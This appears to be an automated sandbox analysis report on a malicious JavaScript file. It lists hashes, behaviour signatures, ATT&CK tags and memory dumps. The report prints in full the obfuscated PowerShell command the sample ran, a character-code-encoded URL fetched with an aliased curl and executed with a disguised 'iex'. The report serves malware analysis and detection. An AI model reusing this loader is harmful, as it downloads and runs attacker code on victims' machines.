f8f41aaaa1a2900603ff0bca39c8ccec1d7c2adc38ac44aa3bed99cfe5495214

Analysis

max time kernel
96s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:58

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General

Target

3381add6326f7857f532c719bb1bda66b078a36cc93a18ab716c1e243aea9218.js
Size

186KB
MD5

e222a0431d6320bfceb1b44d819749a5
SHA1

8e7e15f79856cf14dd1ee7ef180526f728e84b5b
SHA256

3381add6326f7857f532c719bb1bda66b078a36cc93a18ab716c1e243aea9218
SHA512

4bc86a56a921feb2d6b76f5cd8b85e477d9b864b30068c57157e99c72e946a65d018146876b3294a6d664bfcb56a4f16e6cb39b25dea1603586e798edb940acf
SSDEEP

1536:nwIMQW/xnu4mvqBsWmn0IDoPk8Z/w+CTxnu4m1qBsWmn0IDoPk8Z/w+C9qBsWmnq:n4QW/2bKiGbKObKb4A

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4756	3984	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4796	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 4796	4756	conhost.exe	85
PID 4756 wrote to memory of 4796	4756	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3381add6326f7857f532c719bb1bda66b078a36cc93a18ab716c1e243aea9218.js
1⤵
PID:1172

C:\Windows\system32\conhost.exe
conhost --headless powershell $atzrhfc='ur' ;new-alias printout c$($atzrhfc)l;$dzxyabig=(4195,4206,4214,4198,4200,4195,4215,4214,4219,4152,4214,4148,4195,4143,4213,4208,4209,4144,4146,4143,4209,4201,4209,4160,4212,4158,4206,4202,4207,4213,4212,4147,4146);$qsgledvtcnx=('bronx','get-cmdlet');$ulhmcyzgb=$dzxyabig;foreach($zdmswgyoptjnx in $ulhmcyzgb){$uetmsnivj=$zdmswgyoptjnx;$dzpmiyeutv=$dzpmiyeutv+[char]($uetmsnivj-4097);$uyzftlj=$dzpmiyeutv; $htrpcqva=$uyzftlj};$gstlmvxenuopbc[2]=$htrpcqva;$ugheqsnzxlyvwt='rl';$zbwhtcnsqm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $htrpcqva)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $atzrhfc='ur' ;new-alias printout c$($atzrhfc)l;$dzxyabig=(4195,4206,4214,4198,4200,4195,4215,4214,4219,4152,4214,4148,4195,4143,4213,4208,4209,4144,4146,4143,4209,4201,4209,4160,4212,4158,4206,4202,4207,4213,4212,4147,4146);$qsgledvtcnx=('bronx','get-cmdlet');$ulhmcyzgb=$dzxyabig;foreach($zdmswgyoptjnx in $ulhmcyzgb){$uetmsnivj=$zdmswgyoptjnx;$dzpmiyeutv=$dzpmiyeutv+[char]($uetmsnivj-4097);$uyzftlj=$dzpmiyeutv; $htrpcqva=$uyzftlj};$gstlmvxenuopbc[2]=$htrpcqva;$ugheqsnzxlyvwt='rl';$zbwhtcnsqm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $htrpcqva)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ngxpw3ww.iap.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4796-0-0x00007FFC4B1C3000-0x00007FFC4B1C5000-memory.dmp

Filesize
8KB

Download
memory/4796-6-0x00000168CC200000-0x00000168CC222000-memory.dmp

Filesize
136KB

Download
memory/4796-11-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download
memory/4796-12-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download
memory/4796-13-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download
memory/4796-14-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download
memory/4796-15-0x00007FFC4B1C3000-0x00007FFC4B1C5000-memory.dmp

Filesize
8KB

Download
memory/4796-16-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download
memory/4796-19-0x00007FFC4B1C0000-0x00007FFC4BC81000-memory.dmp

Filesize
10.8MB

Download